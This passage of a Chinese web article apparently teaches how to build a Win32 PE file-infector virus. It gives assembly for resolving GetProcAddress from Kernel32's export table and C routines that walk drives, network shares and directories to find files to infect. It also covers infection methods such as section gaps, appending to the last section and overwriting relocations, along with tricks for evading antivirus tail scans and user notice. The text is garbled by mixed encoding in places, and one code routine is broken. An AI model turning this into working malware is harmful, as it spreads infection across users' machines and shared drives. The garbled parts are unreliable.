  typedef struct _IMAGE_DATA_DIRECTORY {
      DWORD   VirtualAddress;
      DWORD   Size;
  } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
  DataDirectory數組的每個(gè)結構都指向一個(gè)重要的數據結構,第一個(gè)成員指向導出函數表(索引0),第2個(gè)成員指向PE文件的引入函數表(索引1)。DataDirectory中的第一個(gè)成員指向導出函數表的IMAGE_EXPORT_DIRECTORY結構:
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
 AddressOfFunctions是一個(gè)雙字數組,包含了所有導出函數的RVA,另外兩個(gè)成員AddressOfNames也是一個(gè)雙字數組,包含了指向導出函數名字的字符串的RVA,AddressOfNameOrdinals是一個(gè)字數組(16bit),和AddressOfNames數組是并行的,和AddressOfNames數組一起確定了相應引出函數的序號,該序號可直接用于索引AddressOfFunctions數組獲取導出函數的地址。因此病毒搜索指定的API就包含了如下步驟:

a)獲取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的數組的地址。
b)搜索AddressOfNames數組,按字符串對比,若找到相應的API,轉d
c)若NumberOfNames名字尚未全部搜索完畢,轉b繼續搜索,若搜索完畢,則表明未找到進(jìn)行錯誤處理,這一步通??梢允÷?,因為我們已經(jīng)知道相應的DLL中肯定導出了相應的函數。
d)獲取當前函數名字指針在A(yíng)ddressOfNames數組中的索引,在A(yíng)ddressOfNameOrdinals數組中取出以該值索引的函數序號,以該序號值作為AddressOfFunctions數組的索引,在A(yíng)ddressOfFunctions數組中取出導出函數的RVA值,加上基址就得到了運行時(shí)導出函數的地址。

        看起來(lái)似乎比較羅嗦,實(shí)際上這是PE設計時(shí)為考慮靈活性而做出的犧牲。不過(guò)實(shí)現起來(lái)還是比較簡(jiǎn)單的,通常匯編代碼編譯后不到100字節。以下是在Kernel32搜索GetProcAddress的完整代碼:

       push     esi
                                ;esi=VA Kernel32.BASE
                                ;edi=RVA K32.pehdr
        mov     ebp,esi
        mov     edi,[ebp+edi+peh.DataDirectory]

        push    edi esi

        mov     eax,[ebp+edi+peexc.AddressOfNames]
        mov     edx,[ebp+edi+peexc.AddressOfNameOrdinals]
        call    @F
        db     "GetProcAddress",0
      @@:
        pop     edi
        mov     ecx,15
        sub     eax,4
     next_:
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebp+eax]
        add     esi,ebp
        mov     ecx,15
        repz    cmpsb    ;進(jìn)行字符串比較,判斷是否為要查找的函數
        jnz     next_

        pop     esi edi

        sub     eax,[ebp+edi+peexc.AddressOfNames]
        shr     eax,1
        add     edx,ebp
        movzx   eax,word [edx+eax]
        add     esi,[ebp+edi+peexc.AddressOfFunctions]
        add     ebp,[esi+eax*4]      ;ebp=Kernel32.GetProcAddress.addr
                                         ;use GetProcAddress and hModule to get other func
        pop     esi                     ;esi=kernel32 Base
        在前面解析導出函數表獲取API地址的時(shí)候,采用的是直接比較字符串的方法判斷是不是找到了相應的API,其實(shí)還可以計算函數名字的hash,然后同預計算的hash進(jìn)行比對,現代的PE病毒更多采用的hash的方法,其原因在于一般的函數名字長(cháng)度都大于4字節,而用hash只要占用4個(gè)字節或2個(gè)字節,可以節省空間,此外還有抗病毒分析的作用,因為hash要比字符串名字費解得多。hash算法的設計只要能保證無(wú)沖突即可,可以用crc等成熟算法,也可以設計自己的簡(jiǎn)單算法。在Elkern中就使用了crc16算法。

* 文件搜索

  文件搜索是病毒的重要功能模塊之一,也是實(shí)現感染和傳播的關(guān)鍵?,F代Windows和各種移動(dòng)介質(zhì)的文件系統可能采用多種復雜格式,因此象一些Dos病毒一樣試圖直接存取文件系統(讀寫(xiě)扇區)是不大現實(shí)的。通常利用Win32 API的FindFirstFile和FindNextFile來(lái)實(shí)當前目錄下所有目錄和文件的搜索,通過(guò)判斷搜索到的文件屬性,可區分是否為目錄或可執行文件,對于可執行文件則根據預先設計好的感染策略進(jìn)行感染;對于當前目錄下的所有子目錄以及特殊的..父目錄,可以使用遞歸或非遞歸的方式利用上述兩個(gè)API全部進(jìn)行遍歷,因此從某個(gè)驅動(dòng)器或網(wǎng)絡(luò )共享文件夾的任意一個(gè)子目錄開(kāi)始,都可以遍歷當前驅動(dòng)器或網(wǎng)絡(luò )共享文件夾內的所有文件和目錄。一般地,搜索文件從驅動(dòng)器或共享文件夾的根目錄開(kāi)始,那么如何得到當前系統中存在的所有驅動(dòng)器或所有的共享文件夾列表呢?對于前一個(gè)問(wèn)題,我們知道Windows下可劃分A:~Z:共26個(gè)邏輯盤(pán)符,因此可以從A:開(kāi)始遞增搜索所有的驅動(dòng)器,使用Win32 API GetDriveType判斷當前搜索的盤(pán)符是否存在,以及是否是固定硬盤(pán)、可移動(dòng)存儲介質(zhì)、是否可寫(xiě)或是網(wǎng)絡(luò )驅動(dòng)器等。一般病毒只感染固定硬盤(pán)或網(wǎng)絡(luò )驅動(dòng)器。由于匯編語(yǔ)言在表述算法時(shí)顯得過(guò)于冗長(cháng),因此算法部分使用C語(yǔ)言描述,當然將C算法轉換成匯編語(yǔ)言是很簡(jiǎn)單的過(guò)程。
  下面的代碼enumdisk.cpp將顯示A-Z各個(gè)驅動(dòng)器的相關(guān)屬性:

#include
#include

#define MAX_DRIVENAME_LENGTH    64
void __cdecl main(int argc,char *argv[])
{
    char DriveName[MAX_DRIVENAME_LENGTH];
    char *p;
    unsigned int drv_attr;

    p = DriveName;
    strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);

    for(;*p<‘Z‘;++*p) {
        drv_attr = GetDriveType(p);
       
        switch(drv_attr)
        {
        case DRIVE_UNKNOWN:  // 未知類(lèi)型
            printf("drive %s type %s\n",p,"DRIVE_UNKNOWN");break;   
        case DRIVE_NO_ROOT_DIR:  // 該驅動(dòng)器不存在
            printf("drive %s type %s\n",p,"DRIVE_NO_ROOT_DIR");break;
        case DRIVE_REMOVABLE: // 可移動(dòng)盤(pán),軟盤(pán)或U盤(pán)或移動(dòng)硬盤(pán)等
            printf("drive %s type %s\n",p,"DRIVE_REMOVABLE");break; 
        case DRIVE_FIXED:  // 固定硬盤(pán)
            printf("drive %s type %s\n",p,"DRIVE_FIXED");break;     
        case DRIVE_REMOTE:  // 一般是映射網(wǎng)絡(luò )驅動(dòng)器
            printf("drive %s type %s\n",p,"DRIVE_REMOTE");break;    
        case DRIVE_CDROM:  // 光盤(pán)
            printf("drive %s type %s\n",p,"DRIVE_CDROM");break;     
        case DRIVE_RAMDISK:  // RAM DISK
            printf("drive %s type %s\n",p,"DRIVE_RAMDISK");break;   
        }
    }
}
  
  與僅僅顯示一條信息不同的是,病毒此時(shí)將調用文件枚舉函數(如后面給出的enum_path函數)從當前根目錄開(kāi)始遍歷DRIVE_FIXED的驅動(dòng)器上的所有文件,根據預定義策略進(jìn)行文件感染。
  
  網(wǎng)絡(luò )共享資源也是按樹(shù)狀組織的,非葉節點(diǎn)稱(chēng)為容器(container),對容器需要進(jìn)一步搜索直到到達葉子節點(diǎn)為止,葉子節點(diǎn)才是共享資源的根路徑。共享資源一般分成兩種:共享打印設備和共享文件夾。對于網(wǎng)絡(luò )共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由mpr.dll導出)進(jìn)行遞歸枚舉。其函數原型及參數含義請參閱MSDN,使用如下代碼enumshare.cpp將顯示所有的網(wǎng)絡(luò )驅動(dòng)器共享文件夾的路徑:
  
  #include
  #include
  #pragma comment(lib,"mpr.lib")
  
  int enum_netshare(LPNETRESOURCE lpnr);
  
  void __cdecl main(int argc,char *argv[])
  {
      enum_netshare(0);
  }
  
  
  int enum_netshare(LPNETRESOURCE lpnr)
  {
      DWORD r, rEnum,usage;
      HANDLE hEnum;
      DWORD cbBuffer = 16384;     
      DWORD cEntries = -1;        
      LPNETRESOURCE lpnrLocal;    // NETRESOURCE數組結構的指針
      DWORD i;
  
   
      r = WNetOpenEnum(RESOURCE_GLOBALNET,    // 范圍:所有網(wǎng)絡(luò )資源
                            RESOURCETYPE_DISK,// 類(lèi)型:僅枚舉可存儲介質(zhì)
                            RESOURCEUSAGE_ALL,// 使用狀態(tài):所有
                            lpnr,             // 初次調用時(shí)為NULL
                            &hEnum);          // 成功后返回的網(wǎng)絡(luò )資源句柄
  
      if (r != NO_ERROR) { 
          printf("WNetOpenEnum error....\n");
          return FALSE;
      }
     
      lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
      if (lpnrLocal == NULL)
          return FALSE;
   
      do
      { 
          ZeroMemory(lpnrLocal, cbBuffer);   
  
          rEnum = WNetEnumResource(hEnum,            
                                        &cEntries,    // 返回盡可能多的結果
                                        lpnrLocal,    // LPNETRESOURCE
                                        &cbBuffer);   // buffer大小
          if (rEnum == NO_ERROR) {
  
              for(i = 0; i < cEntries; i++) {
                 
                  usage = lpnrLocal[i].dwUsage;
                 
                  if(usage & RESOURCEUSAGE_CONTAINER) {
                     
                      if(!enum_netshare(&lpnrLocal[i]))
                          printf("Errors detected in enum process...\n");               
                  }else{
  
                      // 這里病毒可調用遍歷函數遍歷該共享文件夾下的所有文件
       // enum_path(lpnrLocal[i].lpRemoteName);
                      printf("find %s --> %s\n",lpnrLocal[i].lpLocalName,
                                                  lpnrLocal[i].lpRemoteName);
                  }
              }
          }else if (rEnum != ERROR_NO_MORE_ITEMS) {
              printf("WNetEnumResource error...\n");
              break;
          }
      }while(rEnum != ERROR_NO_MORE_ITEMS);
  
      free((void*)lpnrLocal);
  
      r = WNetCloseEnum(hEnum);
       
      if(r != NO_ERROR) {
          printf("WNetCloseEnum error....\n");
          return FALSE;
      }
  
      return TRUE;
  }

  遍歷開(kāi)始時(shí)WNetOpenEnum第4形參為0,在發(fā)現共享容器進(jìn)行遞歸調用時(shí)候,該參數將為共享容器的NETRESOURCE結構指針。從NETRESOURCE結構中可以找到我們感興趣的lpRemoteName,該指針不為0則表示是有效的共享容器或共享文件夾。
  
typedef struct _NETRESOURCE {
  DWORD dwScope;
  DWORD dwType;
  DWORD dwDisplayType;
  DWORD dwUsage;
  LPTSTR lpLocalName;
  LPTSTR lpRemoteName;
  LPTSTR lpComment;
  LPTSTR lpProvider;
} NETRESOURCE;

        在解決了起始目錄的問(wèn)題之后,就可以從這些起始目錄開(kāi)始使用FindFirstFile和FindNextFile開(kāi)始遍歷其下以及其子目錄下的所有文件和目錄了,遍歷方法可采用深度優(yōu)先或廣度優(yōu)先搜索算法,較常用的還是深度優(yōu)先算法。具體實(shí)現方式可采用遞歸搜索或非遞歸搜索兩種實(shí)現方式。遞歸搜索需要占用??臻g,有可能造成??臻g耗竭而產(chǎn)生異常,不過(guò)在現實(shí)應用中這種情況很少出現,而非遞歸搜索則不存在此問(wèn)題,但代碼實(shí)現略復雜。在現實(shí)應用中,應用最多的還是遞歸遍歷搜索。搜索時(shí),可指定FindFirstFile的第一形參為*.*以搜索所有文件,根據搜索結果WIN32_FIND_DATA結構的dwFileAttributes成員判斷是否為目錄,若為目錄則需要繼續遍歷該子目錄,根據WIN32_FIND_DATA的cFileName中的文件名成員判斷是否具有要感染的文件后綴以采取修改感染動(dòng)作,以下代碼實(shí)現了遞歸搜索某個(gè)目錄及其下所有子目錄的功能:

void enum_path(char *cpath){

    WIN32_FIND_DATA wfd;
    HANDLE hfd;
    char cdir[MAX_PATH];
    char subdir[MAX_PATH];

    int r;

    GetCurrentDirectory(MAX_PATH,cdir);
    SetCurrentDirectory(cpath);

    hfd = FindFirstFile("*.*",&wfd);

    if(hfd!=INVALID_HANDLE_VALUE) {
        do{
            if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                if(wfd.cFileName[0] != ‘.‘) {
                    //合成完整路徑名
                    sprintf(subdir,"%s\\%s",cpath,wfd.cFileName);  
                    //遞歸枚舉子目錄
                    enum_path(subdir);               
                }
            }else{

                printf("%s\\%s\n",cpath,wfd.cFileName);
                // 病毒可根據后綴名判斷是否要感染相應的文件       
            }
           
        }while(r=FindNextFile(hfd,&wfd),r!=0);   
    }
    SetCurrentDirectory(cdir);
}

         短短20多行C代碼就實(shí)現了文件遍歷的功能,Win32 API的強大功能不僅為開(kāi)發(fā)者提供了便利,同時(shí)也為病毒敞開(kāi)了方便之門(mén)。用匯編實(shí)現則稍微復雜一些,感興趣的讀者可參閱Elkern中的enum_path部分,原理是一樣的,限于篇幅這里不再給出相應的匯編代碼。
 非遞歸搜索不使用堆棧存儲相關(guān)的信息,而使用顯式分配的鏈表或棧等結構存儲相關(guān)的信息,應用一個(gè)迭代循環(huán)完成遞歸遍歷同樣的功能,下面是使用鏈表以棧方式處理子目錄列表的一個(gè)簡(jiǎn)單實(shí)現:

void nr_enum_path(char *cpath){

    list dir_list;
    string cdir,subdir;
    WIN32_FIND_DATA wfd;
    HANDLE hfd;   
    int r;

    dir_list.push_back(string(cpath));

    while(dir_list.size()) {
        cdir = dir_list.back();
        dir_list.pop_back();
       
        SetCurrentDirectory(cdir.c_str());

        hfd = FindFirstFile("*.*",&wfd);

        if(hfd!=INVALID_HANDLE_VALUE) {
            do{
                if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                    if(wfd.cFileName[0] != ‘.‘) {
                        //合成完整路徑名
                        subdir=cdir+";
                        cout<<"push subdir: "<<><>
                        //遞歸枚舉子目錄
                        dir_list.push_back(string(subdir));               
                    }
                }else{<>

                    printf("%s\\%s\n",cpath,wfd.cFileName);
                    // 病毒可根據后綴名判斷是否要感染相應的文件       
                }
               
            }while(r=FindNextFile(hfd,&wfd),r!=0);   
        }   
    }//end while
}

         在以匯編語(yǔ)言實(shí)現時(shí),需要自己管理鏈表以及分配和釋放相應的結構,因此較為煩瑣,代碼量也稍大,因此病毒多采用遞歸的方式進(jìn)行搜索。值得注意的是搜索深層次的目錄是很費時(shí)的,因此大部分病毒為避免CPU占用率過(guò)高,搜索一定數量的文件之后,都會(huì )調用Sleep休眠一會(huì ),以避免被敏感的用戶(hù)發(fā)覺(jué)。文件搜索和感染模塊通常是以單獨的線(xiàn)程運行的,在病毒獲得控制權后,創(chuàng )建相應的搜索和感染線(xiàn)程,而將主現成的控制權交給原程序。

* PE文件的修改和感染策略

  既然已經(jīng)能夠搜索磁盤(pán)及網(wǎng)絡(luò )共享文件中的所有文件,要實(shí)現寄生,那么自然下一步就是對搜索到的PE文件進(jìn)行感染了。感染PE的很重要的一個(gè)考慮就是將病毒代碼寫(xiě)入到PE文件的哪個(gè)位置。讀寫(xiě)文件一般利用Win32 API CreateFile、CreateFileMapping、MapViewOfFile等API以?xún)却嬗成湮募姆绞竭M(jìn)行,這樣可以避免自己管理緩沖的麻煩,因而為較多病毒所采用。為了能夠讀寫(xiě)具有只讀屬性的文件,病毒在操作前首先利用GetFileAttributes獲取其屬性并保存,然后用SetFileAttributes將文件的屬性修改為可寫(xiě),在感染完畢后再恢復其屬性值。
  
  一般說(shuō)來(lái),有如下幾種感染PE文件的方案供選擇:
  
  a)添加一個(gè)新的節。將病毒代碼寫(xiě)入到新的節中,相應修改節表,文件頭中文件大小等屬性值。由于在PE尾部增加了一個(gè)節,因此較容易被用戶(hù)察覺(jué)。在某些情況下,由于原PE頭部沒(méi)有足夠的空間存放新增節的節表信息,因此還要對其它數據進(jìn)行搬移等操作。鑒于上述問(wèn)題,PE病毒使用該方法的并不多。
  b)附加在最后一個(gè)節上。修改最后一個(gè)節節表的大小和屬性以及文件頭中文件大小等屬性值。由于越來(lái)越多的殺毒軟件采用了一種尾部掃描的方式,因此很多病毒還要在病毒代碼之后附加隨機數據以逃避該種掃描?,F代PE病毒大量使用該種方式。
  c)寫(xiě)入到PE文件頭部未用空間各個(gè)節所保留的空隙之中。PE頭部大小一般為1024字節,有5-6個(gè)節的普通PE文件實(shí)際被占用部分一般僅為600字節左右,尚有400多個(gè)字節的剩余空間可以利用。PE文件各個(gè)節之間一般都是按照512字節對齊的,但節中的實(shí)際數據常常未完全使用全部的512字節,PE文件的對齊設計本來(lái)是出于效率的考慮,但其留下的空隙卻給病毒留下了棲身之地。這種感染方式感染后原PE文件的總長(cháng)度可能并不會(huì )增加,因此自CIH病毒首次使用該技術(shù)以來(lái),備受病毒作者的青睞。
  d)覆蓋某些非常用數據。如一般exe文件的重定位表,由于exe一般不需要重定位,因此可以覆蓋重定位數據而不會(huì )造成問(wèn)題,為保險起見(jiàn)可將文件頭中指示重定位項的DataDirectory數組中的相應項清空,這種方式一般也不會(huì )造成被感染文件長(cháng)度的增加。因此很多病毒也廣泛使用該種方法。
  e)壓縮某些數據或代碼以節約出存放病毒代碼的空間,然后將病毒代碼寫(xiě)入這些空間,在程序代碼運行前病毒首先解壓縮相應的數據或代碼,然后再將控制權交給原程序。該種方式一般不會(huì )增加被感染文件的大小,但需考慮的因素較多,實(shí)現起來(lái)難度也比較大。用的還不多。
  
  不論何種方式,都涉及到對PE頭部相關(guān)信息以及節表的相關(guān)操作,我們首先研究一下PE的修改,即如何在添加了病毒代碼后使得PE文件仍然是合法的PE文件,仍然能夠被系統加載器加載執行。
  PE文件的每個(gè)節的屬性都是由節表中的一個(gè)表項描述的,節表緊跟在IMAGE_NT_HEADERS后面,因此從文件偏移0x3C處的雙字找到IMAGE_NT_HEADERS的起始偏移,再加上IMAGE_NT_HEADERS的大?。?48字節)就定位了節表的起始位置,每個(gè)表項是一個(gè)IMAGE_SECTION_HEADER結構:
  typedef struct _IMAGE_SECTION_HEADER {
      BYTE    Name[IMAGE_SIZEOF_SHORT_NAME]; // 節的名字
      union {
              DWORD   PhysicalAddress;
              DWORD   VirtualSize;    // 字節計算的實(shí)際大小
      } Misc;
      DWORD   VirtualAddress;     // 節的起始虛擬地址
      DWORD   SizeOfRawData;     // 按照文件頭FileAlignment
                                                      // 對齊后的大小
      DWORD   PointerToRawData;    // 文件中指向該節起始的偏移
      DWORD   PointerToRelocations;
      DWORD   PointerToLinenumbers;
      WORD    NumberOfRelocations;
      WORD    NumberOfLinenumbers;
      DWORD   Characteristics;     // 節的屬性
  } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

        節表項的數目由IMAGE_NT_HEADERS的NumberOfSections成員確定。由節表中的起始虛擬地址以及該節在文件中的位置就可以換算加載后內存虛擬地址和文件中地址之間的映射關(guān)系。添加一個(gè)節則需要修改該節表數組,在其中增加一個(gè)表項,然后相應修改NumberOfSections的數目。值得注意的是,某些PE文件現存節表后面可能緊跟著(zhù)其它數據,如bound import數據,這時(shí)就不能簡(jiǎn)單地增加一個(gè)節表項,需要先移動(dòng)這些數據并修改相應的結構后才能增加節,否則PE文件將不能正常執行。由于很多病毒是自我修改的,因此節屬性通常設置為E000XXXX,表示該節可讀寫(xiě)執行,否則就需要在病毒的開(kāi)始處調用VirtualProtect之類(lèi)的API動(dòng)態(tài)修改內存頁(yè)的屬性了。由上述節表的定義還可以看到每個(gè)節的實(shí)際數據都是按照文件頭中FileAlignment對齊的,這個(gè)大小一般是512,因此每個(gè)節可能有不超過(guò)512字節的未用空間(SizeOfRawData- VirtualSize),這恰好給病毒以可乘之機,著(zhù)名的CIH病毒首先采用了這種技術(shù),不過(guò)問(wèn)題是每個(gè)節的空隙大小是不定的,因此就需要將病毒代碼分成若干部分存放,運行時(shí)再通過(guò)一段代碼組合起來(lái),優(yōu)點(diǎn)是如果病毒代碼較小則無(wú)需增加PE的大小,隱蔽性較強。如果所有節的未用空間仍不足以容納病毒代碼,則可新增節或附加到最后一個(gè)節上。附加到最后一個(gè)節上是比較簡(jiǎn)單的,只要修改節表中最后一個(gè)節的VirtualSize以及按FileAlignment對齊后的SizeOfRawData成員即可。當然在上述所有修改節的情況中,如果改變了文件的大小,都要修正文件頭中SizeOfImage這個(gè)值的大小,該值是所有節和頭按照SectionAlignment對齊后的大小。
  這里有兩個(gè)問(wèn)題值得注意,第一問(wèn)題就是對WFP(Windows File Protection)文件的處理,WFP機制是從Windows 2000開(kāi)始新增的保護系統文件的機制,若系統發(fā)現重要的系統文件被改變,則彈出一個(gè)對話(huà)框警告用戶(hù)該文件已被替換。當然有多種方法繞過(guò)WFP保護,但對病毒而言,更簡(jiǎn)單的方法就是不感染在WFP列表中的系統文件??墒褂胹fc.dll的導出函數SfcIsFileProtected判斷一個(gè)文件是否在該列表中,該API的第一個(gè)參數必須為0,第二個(gè)參數是要判斷的文件名,若在列表中返回非0值,否則返回0。
  另外一個(gè)問(wèn)題就是關(guān)于PE文件的校驗。大部分PE文件都不使用文件頭中的CheckSum域的校驗和值,不過(guò)有些PE文件,如關(guān)鍵的系統服務(wù)程序文件以及驅動(dòng)程序文件則該值必須正確,否則系統加載器將拒絕加載。PE頭部的CheckSum可以使用Imagehlp.dll的導出函數CheckSumMappedFile計算,也可以在將該域清0后按照如下簡(jiǎn)單的等價(jià)算法計算:
  如果PE文件大小是奇數字節,則以0補足,使之按偶數字節。將PE文件頭的CheckSum域清0,然后以?xún)蓚€(gè)字節為單位進(jìn)行adc運算,最后和將該累加和同文件實(shí)際大小進(jìn)行adc運算即得到校驗和的值。下面的cal_checksum過(guò)程假設esi已經(jīng)指向PE文件頭,文件頭部CheckSum域已經(jīng)被清0,CF標志位已經(jīng)被復位:
           ;調用示例:
           ;clc
           ;push    pe_fileseize
           ;call   cal_checksum
  cal_checksum:
          adc     bp,word [esi]  ;初始esi指向文件頭,ebx中保存的是文件大小
          inc     esi
          inc     esi
          loop    cal_checksum
          mov     ebx,[esp+4]
          adc     ebp,ebx   ;ebp中存放的就是PE的校驗和
      ret   4

         除了PE頭部的校驗和之外,很多程序自身也有校驗模塊,如Winzip和Winrar的自解壓文件,如果被感染,將造成無(wú)法正常解壓縮。因此對于類(lèi)似的PE文件,病毒應盡量不予感染。
   Elkern中感染文件修改文件相關(guān)的代碼在infect.asm中,該病毒首先盡可能地利用PE的頭部和節的間隙存儲自身代碼,若所有間隙仍不足以存放病毒代碼,則附加到最后一個(gè)節上,限于篇幅相關(guān)代碼從略,感興趣的讀者請自行參閱。
         其實(shí),完成了上述功能的代碼片斷就已經(jīng)是一個(gè)簡(jiǎn)單的病毒了,不管是用匯編語(yǔ)言、C語(yǔ)言或是python語(yǔ)言編寫(xiě)的。但這些遠不是病毒技術(shù)的全部。在病毒和反病毒對抗的數十年中,伴隨著(zhù)反病毒技術(shù)的進(jìn)步,病毒技術(shù)也在不斷進(jìn)步著(zhù),Win32下的內存駐留感染技術(shù)、抗分析技術(shù)、EPO技術(shù)、多態(tài)技術(shù)、變形技術(shù)等限于篇幅都還沒(méi)有介紹,無(wú)論如何,那都是下篇的內容了。
* 思考與防范
  病毒技術(shù)源自編程實(shí)踐,但又無(wú)所不用其極,包含了相當多的編程技巧,如果我們善于借鑒,其中的很多技巧都可用于解決常見(jiàn)的編程難題。此外知己知彼,才能在病毒出現時(shí)冷靜沉著(zhù)應對,分析其機制,找到更好的解決之道。作為用戶(hù),了解病毒的機制對于選擇合適的反病毒產(chǎn)品和方案也是非常有幫助的。
  防范病毒,從用戶(hù)角度除了使用殺毒軟件定期查毒之外,謹慎地下載或執行未知的程序,提高警覺(jué)也是非常重要的。
  病毒已經(jīng)不再單純是一種展示高超編程技巧的手段了,而被越來(lái)越多的領(lǐng)域賦予了其它的如經(jīng)濟、有時(shí)甚至是政治的含義。防范病毒,作為負責的程序員,應首先不編寫(xiě)病毒、傳播病毒,一切從我做起。

打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
手工打造可執行程序
深入剖析PE文件
深入剖析Win32可移植可執行文件格式(第一部分)
學(xué)寫(xiě)壓縮殼心得系列之二 掌握PE結構 ,曲徑通幽
如何寫(xiě)一個(gè)簡(jiǎn)單的病毒程序
用特征碼定位關(guān)鍵代碼
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久